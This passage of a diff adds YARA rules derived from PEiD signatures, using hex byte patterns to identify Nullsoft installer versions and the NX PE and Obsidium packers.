+        $a = {55 8B EC 83 EC 2C 53 56 33 F6 57 56 89 75 DC 89 75 F4 BB A4 9E 40 00 FF 15 60 70 40 00 BF C0 B2 40 00 68 04 01 00 00 57 50 A3 AC B2 40 00 FF 15 4C 70 40 00 56 56 6A 03 56 6A 01 68 00 00 00 80 57 FF 15 9C 70 40 00 8B F8 83 FF FF 89 7D EC 0F 84 C3 00 00 00 56 56 56 89 75 E4 E8 C1 C9 FF FF 8B 1D 68 70 40 00 83 C4 0C 89 45 E8 89 75 F0 6A 02 56 6A FC 57 FF D3 89 45 FC 8D 45 F8 56 50 8D 45 E4 6A 04 50 57 FF 15 48 70 40 00 85 C0 75 07 BB 7C 9E 40 00 EB 7A 56 56 56 57 FF D3 39 75 FC 7E 62 BF 74 A2 40 00 B8 00 10 00 00 39 45 FC 7F 03 8B 45 FC 8D 4D F8 56 51 50 57 FF 75 EC FF 15 48 70 40 00 85 C0 74 5A FF 75 F8 57 FF 75 E8 E8 4D C9 FF FF 89 45 E8 8B 45 F8 29 45 FC 83 C4 0C 39 75 F4 75 11 57 E8 D3 F9 FF FF 85 C0 59 74 06 8B 45 F0 89 45 F4 8B 45 F8 01 45 F0 39 75 FC}
+    condition:
+        $a
+}
+
+rule PEiD_01355_Nullsoft_Install_System_v1_xx_
+{
+    meta:
+        description = "[Nullsoft Install System v1.xx]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 0C 53 56 57 FF 15 20 71 40 00 05 E8 03 00 00 BE 60 FD 41 00 89 44 24 10 B3 20 FF 15 28 70 40 00 68 00 04 00 00 FF 15 28 71 40 00 50 56 FF 15 08 71 40 00 80 3D 60 FD 41 00 22 75 08 80 C3 02 BE 61 FD 41 00 8A 06 8B 3D F0 71 40 00 84 C0 74 0F 3A C3 74 0B 56 FF D7 8B F0 8A 06 84 C0 75 F1 80 3E 00 74 05 56 FF D7 8B F0 89 74 24 14 80 3E 20 75 07 56 FF D7 8B F0 EB F4 80 3E 2F 75}
+    condition:
+        $a
+}
+
+rule PEiD_01356_Nullsoft_Install_System_v2_0_RC2_
+{
+    meta:
+        description = "[Nullsoft Install System v2.0 RC2]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 10 53 55 56 57 C7 44 24 14 70 92 40 00 33 ED C6 44 24 13 20 FF 15 2C 70 40 00 55 FF 15 84 72 40 00 BE 00 54 43 00 BF 00 04 00 00 56 57 A3 A8 EC 42 00 FF 15 C4 70 40 00 E8 8D FF FF FF 8B 1D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 5C 71 40 00 68 68 92 40 00 56 FF D3 E8 6A FF FF FF 85 C0 0F 84 59 01 00 00 BE 20 E4 42 00 56 FF 15 68 70 40 00 68 5C 92 40 00 56 E8 B9 28 00 00 57 FF 15 BC 70 40 00 BE 00 40 43 00 50 56 FF 15 B8 70 40 00 6A 00 FF 15 44 71 40 00 80 3D 00 40 43 00 22 A3 20 EC 42 00 8B C6 75 0A C6 44 24 13 22 B8 01 40 43 00 8B 3D 18 72 40 00 EB 09 3A 4C 24 13 74 09 50 FF D7 8A 08 84 C9 75 F1 50 FF D7 8B F0 89 74 24 1C EB 05 56 FF D7 8B F0 80 3E 20 74 F6 80 3E 2F 75 44 46 80 3E 53 75 0C 8A 46 01 0C 20 3C 20 75 03 83 CD 02 81 3E 4E 43 52}
+    condition:
+        $a
+}
+
+rule PEiD_01357_Nullsoft_Install_System_v2_0_
+{
+    meta:
+        description = "[Nullsoft Install System v2.0]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 0C 53 55 56 57 C7 44 24 10 70 92 40 00 33 DB C6 44 24 14 20 FF 15 2C 70 40 00 53 FF 15 84 72 40 00 BE 00 54 43 00 BF 00 04 00 00 56 57 A3 A8 EC 42 00 FF 15 C4 70 40 00 E8 8D FF FF FF 8B 2D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 5C 71 40 00 68 68 92 40 00 56 FF D5 E8 6A FF FF FF 85 C0 0F 84 57 01 00 00 BE 20 E4 42 00 56 FF 15 68 70 40 00 68 5C 92 40 00 56 E8 9C 28 00 00 57 FF 15 BC 70 40 00 BE 00 40 43 00 50 56 FF 15 B8 70 40 00 6A 00 FF 15 44 71 40 00 80 3D 00 40 43 00 22 A3 20 EC 42 00 75 0A C6 44 24 14 22 BE 01 40 43 00 FF 74 24 14 56 E8 8A 23 00 00 50 FF 15 80 71 40 00 8B F8 89 7C 24 18 EB 61 80 F9 20 75 06 40 80 38 20 74 FA 80 38 22 C6 44 24 14 20 75 06 40 C6 44 24 14 22 80 38 2F 75 31 40 80 38 53 75 0E 8A 48 01 80 C9 20 80 F9 20 75 03}
+    condition:
+        $a
+}
+
+rule PEiD_01358_Nullsoft_Install_System_v2_0a0_
+{
+    meta:
+        description = "[Nullsoft Install System v2.0a0]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 0C 53 56 57 FF 15 B4 10 40 00 05 E8 03 00 00 BE E0 E3 41 00 89 44 24 10 B3 20 FF 15 28 10 40 00 68 00 04 00 00 FF 15 14 11 40 00 50 56 FF 15 10 11 40 00 80 3D E0 E3 41 00 22 75 08 80 C3 02 BE E1 E3 41 00 8A 06 8B 3D 14 12 40 00 84 C0 74 19 3A C3 74 0B 56 FF D7 8B F0 8A 06 84 C0 75 F1 80 3E 00}
+    condition:
+        $a
+}
+
+rule PEiD_01359_Nullsoft_Install_System_v2_0b2__v2_0b3_
+{
+    meta:
+        description = "[Nullsoft Install System v2.0b2, v2.0b3]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 0C 53 55 56 57 FF 15 ?? 70 40 00 8B 35 ?? 92 40 00 05 E8 03 00 00 89 44 24 14 B3 20 FF 15 2C 70 40 00 BF 00 04 00 00 68 ?? ?? ?? 00 57 FF 15 ?? ?? 40 00 57 FF 15}
+    condition:
+        $a
+}
+
+rule PEiD_01360_Nullsoft_Install_System_v2_0b4_
+{
+    meta:
+        description = "[Nullsoft Install System v2.0b4]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 10 53 55 56 57 C7 44 24 14 F0 91 40 00 33 ED C6 44 24 13 20 FF 15 2C 70 40 00 55 FF 15 88 72 40 00 BE 00 D4 42 00 BF 00 04 00 00 56 57 A3 60 6F 42 00 FF 15 C4 70 40 00 E8 9F FF FF FF 8B 1D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 60 71 40 00 68 E4 91 40 00 56 FF D3 E8 7C FF FF FF 85 C0 0F 84 59 01 00 00 BE E0 66 42 00 56 FF 15 68 70 40 00 68 D8 91 40 00 56 E8 FE 27 00 00 57 FF 15 BC 70 40 00 BE 00 C0 42 00 50 56 FF 15 B8 70 40 00 6A 00 FF 15 44 71 40 00 80 3D 00 C0 42 00 22 A3 E0 6E 42 00 8B C6 75 0A C6 44 24 13 22 B8 01 C0 42 00 8B 3D 10 72 40 00 EB 09 3A 4C 24 13 74 09 50 FF D7 8A 08 84 C9 75 F1 50 FF D7 8B F0 89 74 24 1C EB 05 56 FF D7 8B F0 80 3E 20 74 F6 80 3E 2F 75 44 46 80 3E 53 75 0C 8A 46 01 0C 20 3C 20 75 03 83 CD 02 81 3E 4E 43 52}
+    condition:
+        $a
+}
+
+rule PEiD_01361_Nullsoft_Install_System_v2_0b4_
+{
+    meta:
+        description = "[Nullsoft Install System v2.0b4]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 14 83 64 24 04 00 53 55 56 57 C6 44 24 13 20 FF 15 30 70 40 00 BE 00 20 7A 00 BD 00 04 00 00 56 55 FF 15 C4 70 40 00 56 E8 7D 2B 00 00 8B 1D 8C 70 40 00 6A 00 56 FF D3 BF 80 92 79 00 56 57 E8 15 26 00 00 85 C0 75 38 68 F8 91 40 00 55 56 FF 15 60 71 40 00 03 C6 50 E8 78 29 00 00 56 E8 47 2B 00 00 6A 00 56 FF D3 56 57 E8 EA 25 00 00 85 C0 75 0D C7 44 24 14 58 91 40 00 E9 72 02 00 00 57 FF 15 24 71 40 00 68 EC 91 40 00 57 E8 43}
+    condition:
+        $a
+}
+
+rule PEiD_01362_Nullsoft_PiMP_Install_System_1_x_
+{
+    meta:
+        description = "[Nullsoft PiMP Install System 1.x]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 0C 53 56 57 FF 15 ?? ?? 40 00 05 E8 03 00 00 BE ?? ?? ?? 00 89 44 24 10 B3 20 FF 15 28 ?? 40 00 68 00 04 00 00 FF 15 ?? ?? 40 00 50 56 FF 15 ?? ?? 40 00 80 3D ?? ?? ?? 00 22 75 08 80 C3 02 BE ?? ?? ?? 00 8A 06 8B 3D ?? ?? 40 00 84 C0 74 ?? 3A C3 74}
+    condition:
+        $a
+}
+
+rule PEiD_01363_Nullsoft_PIMP_Install_System_v1_3x_
+{
+    meta:
+        description = "[Nullsoft PIMP Install System v1.3x]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC ?? ?? 00 00 56 57 6A ?? BE ?? ?? ?? ?? 59 8D BD}
+    condition:
+        $a
+}
+
+rule PEiD_01364_Nullsoft_PiMP_Install_System_v1_x_
+{
+    meta:
+        description = "[Nullsoft PiMP Install System v1.x]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 0C 53 56 57 FF 15 ?? ?? 40 00 05 E8 03 00 00 BE ?? ?? ?? 00 89 44 24 10 B3 20 FF 15 28 ?? 40 00 68 00 04 00 00 FF 15 ?? ?? 40 00 50 56 FF 15 ?? ?? 40 00 80 3D ?? ?? ?? 00 22 75 08 80 C3 02 BE ?? ?? ?? 00 8A 06 8B 3D ?? ?? 40 00 84 C0 74 ?? 3A C3 74 0B 56 FF D7 8B F0 8A 06 84 C0 75 F1 80 3E 00 74 05 56 FF D7 8B F0 89 74 24 14 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 3E 2F}
+    condition:
+        $a
+}
+
+rule PEiD_01365_Nullsoft_PIMP_Install_System_v1_x_
+{
+    meta:
+        description = "[Nullsoft PIMP Install System v1.x]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 5C 53 55 56 57 FF 15 ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_01366_NX_PE_Packer_v1_0_
+{
+    meta:
+        description = "[NX PE Packer v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {FF 60 FF CA FF 00 BA DC 0D E0 40 00 50 00 60 00 70 00 80 00}
+    condition:
+        $a
+}
+
+rule PEiD_01367_Obsidium_1_2_0_0____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.2.0.0 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 3F 1E 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01368_Obsidium_1_2_5_0____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.2.5.0 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {E8 0E 00 00 00 8B 54 24 0C 83 82 B8 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01369_Obsidium_1_2_5_0____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.2.5.0 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {E8 0E 00 00 00 8B 54 24 0C 83 82 B8 00 00 00 0D 33 C0 C3 64 67 FF 36 00 00 64 67 89 26 00 00 50 33 C0 8B 00 C3 E9 FA 00 00 00 E8 D5 FF FF FF 58 64 67 8F 06 00 00 83 C4 04 E8 2B 13 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01370_Obsidium_1_2_5_8____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.2.5.8 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 29 00 00 00 EB 02 ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 01 ?? 50 EB 03 ?? ?? ?? 33 C0}
+    condition:
+        $a
+}
+
+rule PEiD_01371_Obsidium_1_2_5_8____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.2.5.8 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 29 00 00 00 EB 02 ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 01 ?? 50 EB 03 ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 01 ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 03 ?? ?? ?? EB 01 ?? 58 EB 01 ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 01 ?? E8 7B 21 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01372_Obsidium_1_3_0_0____Obsidium_Software__h__
+{
+    meta:
+        description = "[Obsidium 1.3.0.0 -> Obsidium Software (h)]"
+        ep_only = "false"
+    strings:
+        $a = {EB 04 25 80 34 CA E8 29 00 00 00 EB 02 C1 81 EB 01 3A 8B 54 24 0C EB 02 32 92 83 82 B8 00 00 00 22 EB 02 F2 7F 33 C0 EB 04 65 7E 14 79 C3 EB 04 05 AD 7F 45 EB 04 05 65 0B E8 64 67 FF 36 00 00 EB 04 0D F6 A8 7F 64 67 89 26 00 00 EB 04 8D 68 C7 FB EB 01 6B}
+    condition:
+        $a
+}
+
+rule PEiD_01373_Obsidium_1_3_0_0____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.0.0 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 ?? ?? ?? ?? E8 29 00 00 00 EB 02 ?? ?? EB 01 ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 22 EB 02 ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 50 EB 03 ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 01 ?? C3 EB 04 ?? ?? ?? ?? E9 FA 00 00 00 EB 01 ?? E8 D5 FF FF FF EB 02 ?? ?? EB 03 ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 01 ?? 64 67 8F 06 00 00 EB 02 ?? ?? 83 C4 04 EB 02 ?? ?? E8 47 26 00 00}
+    condition:
+        $a
+}
+rule PEiD_01374_Obsidium_1_3_0_13____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.0.13 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 26 00 00 00 EB 02 ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 21 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 01 ?? 33 C0 EB 03}
+    condition:
+        $a
+}
+
+rule PEiD_01375_Obsidium_1_3_0_13____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.0.13 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 26 00 00 00 EB 02 ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 21 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 01 ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 02 ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 01 ?? E8 D5 FF FF FF EB 03 ?? ?? ?? EB 02 ?? ?? 58 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 03 ?? ?? ?? E8 13 26 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01376_Obsidium_1_3_0_17____Obsidium_software_
+{
+    meta:
+        description = "[Obsidium 1.3.0.17 -> Obsidium software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 28 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 25 EB 02 ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04}
+    condition:
+        $a
+}
+
+rule PEiD_01377_Obsidium_1_3_0_17____Obsidium_software_
+{
+    meta:
+        description = "[Obsidium 1.3.0.17 -> Obsidium software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 28 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 25 EB 02 ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 01 ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 02 ?? ?? 58 EB 03 ?? ?? ?? EB 01 ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 02 ?? ?? E8 4F 26 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01378_Obsidium_1_3_0_21____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.0.21 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 03 ?? ?? ?? E8 2E 00 00 00 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 02 ?? ?? 50 EB 01 ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 01 ?? 58 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 2B 26 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01379_Obsidium_1_3_0_37____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.0.37 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 26 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 26 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 01 ?? 58 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03 ?? ?? ?? E8 23 27 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01380_Obsidium_1_3_0_4____Obsidium_Software__h__
+{
+    meta:
+        description = "[Obsidium 1.3.0.4 -> Obsidium Software (h)]"
+        ep_only = "false"
+    strings:
+        $a = {EB 02 ?? ?? E8 25 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 01 ?? 33 C0 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01381_Obsidium_1_3_1_1____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.1.1 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 27 00 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 22 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB 01 ?? 8B 00 EB 03 ?? ?? ?? C3 EB 01 ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 03 ?? ?? ?? 58 EB 03 ?? ?? ?? EB 01 ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03}
+    condition:
+        $a
+}
+
+rule PEiD_01382_Obsidium_1_3_2_2____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.2.2 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 ?? ?? ?? ?? E8 2A 00 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 26 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 02 ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 01 ?? EB 01 ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 04}
+    condition:
+        $a
+}
+
+rule PEiD_01383_Obsidium_1_3_3_1____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.1 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 29 00 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 02 ?? ?? 50 EB 01 ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 01 ?? EB 04 ?? ?? ?? ?? 58 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 02 ?? ?? E8 5F 27 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01384_Obsidium_1_3_3_2____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.2 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 2B 00 00 00 EB 02 ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 02 ?? ?? 50 EB 02 ?? ?? 33 C0}
+    condition:
+        $a
+}
+
+rule PEiD_01385_Obsidium_1_3_3_2____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.2 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 2B 00 00 00 EB 02 ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 02 ?? ?? 50 EB 02 ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 02 ?? ?? C3 EB 04 ?? ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 03 ?? ?? ?? EB 01 ?? 58 EB 01 ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 02 ?? ?? 83 C4 04 EB 02 ?? ?? E8 3B 27 00 00}
+    condition:
+        $a
+}
+rule PEiD_01386_Obsidium_1_3_3_3____Obsidium_Software___Sign_By_haggar_
+{
+    meta:
+        description = "[Obsidium 1.3.3.3 -> Obsidium Software * Sign.By.haggar]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 28 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 58 EB 01 ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 2B 27}
+    condition:
+        $a
+}
+
+rule PEiD_01387_Obsidium_1_3_3_3____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.3 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 28 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04}
+    condition:
+        $a
+}
+
+rule PEiD_01388_Obsidium_1_3_3_3____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.3 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 8B ?? 24 0C EB 01 ?? 83 ?? B8 00 00 00 28 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 58 EB 01 ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 2B 27 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01389_Obsidium_1_3_3_4____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.4 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
